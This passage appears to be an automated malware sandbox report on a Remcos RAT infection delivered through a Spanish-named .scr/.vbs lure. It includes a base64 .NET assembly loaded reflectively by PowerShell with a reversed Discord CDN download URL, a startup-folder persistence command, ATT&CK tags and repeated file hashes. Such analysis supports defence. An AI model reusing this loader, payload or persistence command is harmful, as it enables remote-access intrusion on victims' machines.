Wx0AGVudmlyb25tZW50AFN0ZElucHV0AFN0ZE91dHB1dABtX0NvbnRleHQAV293NjRHZXRUaHJlYWRDb250ZXh0AFdvdzY0U2V0VGhyZWFkQ29udGV4dABjb250ZXh0AHdTaG93V2luZG93AFZpcnR1YWxBbGxvY0V4AENsYXNzTGlicmFyeTEuTXkAQXJyYXkAZ2V0X0Fzc2VtYmx5AEJsb2NrQ29weQBSZWFkUHJvY2Vzc01lbW9yeQBXcml0ZVByb2Nlc3NNZW1vcnkAY3VycmVudERpcmVjdG9yeQBTeXN0ZW0uU2VjdXJpdHkASXNOdWxsT3JFbXB0eQBNeVNldHRpbmdzUHJvcGVydHkAAAAAAC9DAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4AUgBlAHMAbwB1AHIAYwBlAHMAAAsiAHsAMAB9ACIAAAMgAAAAAAAXcD7ydsIcRpthSuvAB90GAAMgAAEFIAEBERUGFRIoARIMBhUSKAESCAYVEigBEh0GFRIoARIkBCAAEwAEAAEcHAQgAQIcAyAACAYAARItETEDIAAOAh4ABRABAB4ABhUSOQETAAYVEigBEwAHBhUSOQETAAITAAUgAQETAAUAAgIcHAQgABJFBiACAQ4SRQYAARJNEk0CBg4FAAIODhwFAAEIEi0EAAECDgYAAw4ODg4CBhgGAAIIHQUIAwAACAYAAgYdBQgCHQUKAAUBEnUIEnUICAUAAR0FCAUAAQESZQUAARJZCAMAAAEEIAEBCAYgAQERgJEEIAEBDgQgAQECBSACAQ4OByAEAQ4ODg4EBwESDAQHARIIBAcBEh0EBwESJAcHAxI9AhI9BAcBEkEEBwESGAUHAwIIAjUHLQIIDhEwESwICB0ICAgICAIICAYdBQgCAgICAgICAgICAggICAgIAh0FAgICAgICAhJZAgMHAQIDBwEIBAcBEi0DBwEOBQcCHgACBAoBHgAHBwMTABMAAgQKARMACLA/X38R1Qo6CLd6XFYZNOCJEDEALgAwAC4AMQA1AC4AMAAHBhUSKAESDAcGFRIoARIIBwYVEigBEh0HBhUSKAESJAMGEj0DBhJBAwYSGAIGCQIGCAIGBgQAABIMBAAAEggEAAASHQQAABIkBAAAEj0EAAASQQUAAQESQQQAABIYEQAKAg4OGBgCCRgOEBEwEBEsBgACAhgdCAoABQIYCBAICBAICgAFAhgIHQUIEAgFAAIIGAgIAAUIGAgICAgEAAEIGAYAAgIOHQUIAAQCDg4dBQIEIAASLQcQAQEeAB4ABzABAQEQHgAECAASDAQIABIIBAgAEh0ECAASJAQIABI9BAgAEkEECAASGAQoABMACAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAcBAAAAABIBAA1DbGFzc0xpYnJhcnkxAAAFAQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDIxAAApAQAkNDUxNkUwRTEtNUMwRS00QjRFLTlBMzItOUUzN0UyM0U3NDI2AAAMAQAHMS4wLjAuMAAASQEAGi5ORVRGcmFtZXdvcmssVmVyc2lvbj12NC41AQBUDhRGcmFtZXdvcmtEaXNwbGF5TmFtZRIuTkVUIEZyYW1ld29yayA0LjUEAQAAAAgBAAEAAAAAABgBAApNeVRlbXBsYXRlCDExLjAuMC4wAABAAQAzU3lzdGVtLlJlc291cmNlcy5Ub29scy5TdHJvbmdseVR5cGVkUmVzb3VyY2VCdWlsZGVyBzQuMC4wLjAAAFkBAEtNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLkVkaXRvcnMuU2V0dGluZ3NEZXNpZ25lci5TZXR0aW5nc1NpbmdsZUZpbGVHZW5lcmF0b3IIMTIuMC4wLjAAAAgBAAIAAAAAAGEBADRTeXN0ZW0uV2ViLlNlcnZpY2VzLlByb3RvY29scy5Tb2FwSHR0cENsaWVudFByb3RvY29sEkNyZWF0ZV9fSW5zdGFuY2VfXxNEaXNwb3NlX19JbnN0YW5jZV9fAAAAHQEAAQBUAhVTdHJpcEFmdGVyT2JmdXNjYXRpb24AEAEAC015LkNvbXB1dGVyAAATAQAOTXkuQXBwbGljYXRpb24AAAwBAAdNeS5Vc2VyAAATAQAOTXkuV2ViU2VydmljZXMAABABAAtNeS5TZXR0aW5ncwAAALQAAADOyu++AQAAAJEAAABsU3lzdGVtLlJlc291cmNlcy5SZXNvdXJjZVJlYWRlciwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5I1N5c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';[Byte[]] $fuUN = [System.Convert]::FromBase64String( $LHgK.replace('㈧㊢ς','A') );[System.AppDomain]::CurrentDomain.Load($fuUN).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.jn9050/7940435496145656211/0475049450369903111/stnemhcatta/moc.ppadrocsid.ndc//:sptth'))"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2628
- C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr
  "C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr" /S
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1316
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
    "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mrnjhdf.exe'
    3⤵
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2508
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2072
- C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
  "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\HGDBCGFHJHMBNHJUFUYTHGFTRGDB.pdf"
  2⤵
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  PID:292

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Remcos\logs.dat

Filesize
208B

MD5
dfbb724915819d64016bcf07968a6612

SHA1
faf63dc5fe69ba939916ac5ef6c6eeef35eb1a1a

SHA256
01fcd4fee376b78f181fc1d884f6c8e7cc07c1486f62bf940a67beb4438d9d23

SHA512
10bbcaf264dfc0316d8d20a8a5aab9b8fe901523e2b1c6849e0a6d9fb816d9551bebea3ca9aae7bc1a37638ec5eb971d9c8dba1bb75be7c3c10215a00a1d176d

Download Submit
C:\ProgramData\Remcos\remcos.exe

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
C:\ProgramData\Remcos\remcos.exe

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
C:\ProgramData\Remcos\remcos.exe

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.vbs

Filesize
217KB

MD5
507c852d53b771937d44ead89ce445db

SHA1
2f17ed49c003a72b62999ce724ff28f4eafaed04

SHA256
7bec8c3246503b9a6af722a1f3316a2237b1403042b1879bf2372c4dd3a54d83

SHA512
94214e31e75cd14893282e6c06b66b66a2329d4bbe5902c143fcd1721004e5a8bc477ac38f8baa093855ddb4a2a9e1cfddbcba1380af9eeadd4c85fe146a4a38

Download Submit
C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr

Filesize
374KB

MD5
ba576a58775f397175afb3c6489ce7a6

SHA1
1d360275e14ba307b8d890df12dbab3d3c1a46c2

SHA256
90513b75e86063db47f5ab12981e611e1bdad8bd094c062c6c61aa761d7de8fa

SHA512
e503cb59d691fcf135442e99eba39b01ce908eae0625d7484f35055275090746e60ec60e0734e342a4c7a02aebeb20f6e2781da9a1409d24c4d6c5a855a06372

Download Submit
C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr

Filesize
374KB

MD5
ba576a58775f397175afb3c6489ce7a6

SHA1
1d360275e14ba307b8d890df12dbab3d3c1a46c2

SHA256
90513b75e86063db47f5ab12981e611e1bdad8bd094c062c6c61aa761d7de8fa

SHA512
e503cb59d691fcf135442e99eba39b01ce908eae0625d7484f35055275090746e60ec60e0734e342a4c7a02aebeb20f6e2781da9a1409d24c4d6c5a855a06372

Download Submit
C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr

Filesize
374KB

MD5
ba576a58775f397175afb3c6489ce7a6

SHA1
1d360275e14ba307b8d890df12dbab3d3c1a46c2

SHA256
90513b75e86063db47f5ab12981e611e1bdad8bd094c062c6c61aa761d7de8fa

SHA512
e503cb59d691fcf135442e99eba39b01ce908eae0625d7484f35055275090746e60ec60e0734e342a4c7a02aebeb20f6e2781da9a1409d24c4d6c5a855a06372

Download Submit
C:\Users\Admin\AppData\Local\Temp\HGDBCGFHJHMBNHJUFUYTHGFTRGDB.pdf

Filesize
112KB

MD5
238e8416d317ec42a14f2ba41e3dfcf4

SHA1
b5a2b1864e5daffd1adabc463975f98783845633

SHA256
299e149cf809474d19d823ea9fd6e8d7b1403c5040bb85a29b02e9624c022988

SHA512
0a6af03d8601ddf536aef607875989eda2efc074ad0124acb399688e648efa655d9f4f3b2a57ff6c69fabd95795b7a2d40e02b6aeec88d7657edbceb9b00729f

Download Submit
C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

Filesize
3KB

MD5
e562bf2a1926a5cb5586cf8ac0ce5772

SHA1
6c14c85c613a7e35a7a009cf2763018863e0fff7

SHA256
d45a3bc7876870be3e9c70aa79d2db6f650bd32be1e8c2ad49007d4bacdc1931

SHA512
a9b4197c94be66d6647e9288b4a8a7e7fccced02243f642fc509d6fdf936d26836ffbed12ecc7c774252c5334bab6e23f51e559b6331097819bbc39df44974d9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YLH8P1AN5GSL00AYQADX.temp

Filesize
7KB

MD5
325efe5a7b5b57d2626ee75777d1e5a0

SHA1
33c635e7050ba392d197986a53f8a1418504a61a

SHA256
dcc1af1ec18d05fd66abfd3cf12365e29acbe51353df57b020616068810ed86d

SHA512
00ea7e9caa01ce89bb473be56992f11cb7029ad78a2c2729f0524d9045170f590252d4285d8fee3173c190e79e3baf85c53959218edc23ba7700a7c8d17f4b3f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
325efe5a7b5b57d2626ee75777d1e5a0

SHA1
33c635e7050ba392d197986a53f8a1418504a61a

SHA256
dcc1af1ec18d05fd66abfd3cf12365e29acbe51353df57b020616068810ed86d

SHA512
00ea7e9caa01ce89bb473be56992f11cb7029ad78a2c2729f0524d9045170f590252d4285d8fee3173c190e79e3baf85c53959218edc23ba7700a7c8d17f4b3f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
325efe5a7b5b57d2626ee75777d1e5a0

SHA1
33c635e7050ba392d197986a53f8a1418504a61a

SHA256
dcc1af1ec18d05fd66abfd3cf12365e29acbe51353df57b020616068810ed86d

SHA512
00ea7e9caa01ce89bb473be56992f11cb7029ad78a2c2729f0524d9045170f590252d4285d8fee3173c190e79e3baf85c53959218edc23ba7700a7c8d17f4b3f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
325efe5a7b5b57d2626ee75777d1e5a0

SHA1
33c635e7050ba392d197986a53f8a1418504a61a

SHA256
dcc1af1ec18d05fd66abfd3cf12365e29acbe51353df57b020616068810ed86d

SHA512
00ea7e9caa01ce89bb473be56992f11cb7029ad78a2c2729f0524d9045170f590252d4285d8fee3173c190e79e3baf85c53959218edc23ba7700a7c8d17f4b3f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
325efe5a7b5b57d2626ee75777d1e5a0

SHA1
33c635e7050ba392d197986a53f8a1418504a61a

SHA256
dcc1af1ec18d05fd66abfd3cf12365e29acbe51353df57b020616068810ed86d

SHA512
00ea7e9caa01ce89bb473be56992f11cb7029ad78a2c2729f0524d9045170f590252d4285d8fee3173c190e79e3baf85c53959218edc23ba7700a7c8d17f4b3f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anymr.exe

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
\ProgramData\Remcos\remcos.exe

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
f7ecefbcf3572d8b3f40ab5c23b1a62366bb8d49b603b3d54e4b46bcd6779eee

SHA512
495ce2ff1808b5c1beb86361952da83ab852af16dd1269738fc36e0f9056bdbf9c846f014ba01e347b1b84113f2d55aca068ec7d2de18edfb543fc32c0c8ef0a

Download Submit
\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr

Filesize
824KB

MD5
aff92b2a3a2d7519fa278a0fc1431011

SHA1
d8a9ee6ce435d9827bae7505d714310e833b706d

SHA256
